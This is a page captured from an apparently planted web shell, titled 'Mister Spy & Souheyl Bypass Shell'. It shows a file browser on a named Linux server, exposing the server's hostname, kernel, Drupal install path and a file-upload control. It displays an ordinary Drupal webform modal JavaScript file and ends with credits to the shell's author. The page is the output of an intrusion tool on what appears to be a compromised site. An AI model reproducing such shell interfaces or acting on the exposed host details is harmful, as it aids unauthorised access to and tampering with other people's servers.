Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/strat/web/modules/contrib/webform/js/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/strat/web/modules/contrib/webform/js/webform.element.image_file.modal.js

/**
 * @file
 * JavaScript behaviors for webform_image_file modal.
 */

(function ($, Drupal, once) {

  'use strict';

  /**
   * Display webform image file in a modal.
   *
   * @type {Drupal~behavior}
   */
  Drupal.behaviors.webformImageFileModal = {
    attach: function (context) {
      $(once('webform-image-file-modal', '.js-webform-image-file-modal', context)).on('click', function () {
        // http://stackoverflow.com/questions/11442712/get-width-height-of-remote-image-from-url
        var img = new Image();
        img.src = $(this).attr('href');
        img.onload = function () {
          $('<div><img src="' + this.src + '" style="display: block; margin: 0 auto" /></div>').dialog({
            dialogClass: 'webform-image-file-modal-dialog',
            width: this.width + 60,
            height: this.height + 100,
            resizable: false,
            modal: true
          }).dialog('open');
        };
        return false;
      });
    }
  };

})(jQuery, Drupal, once);

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net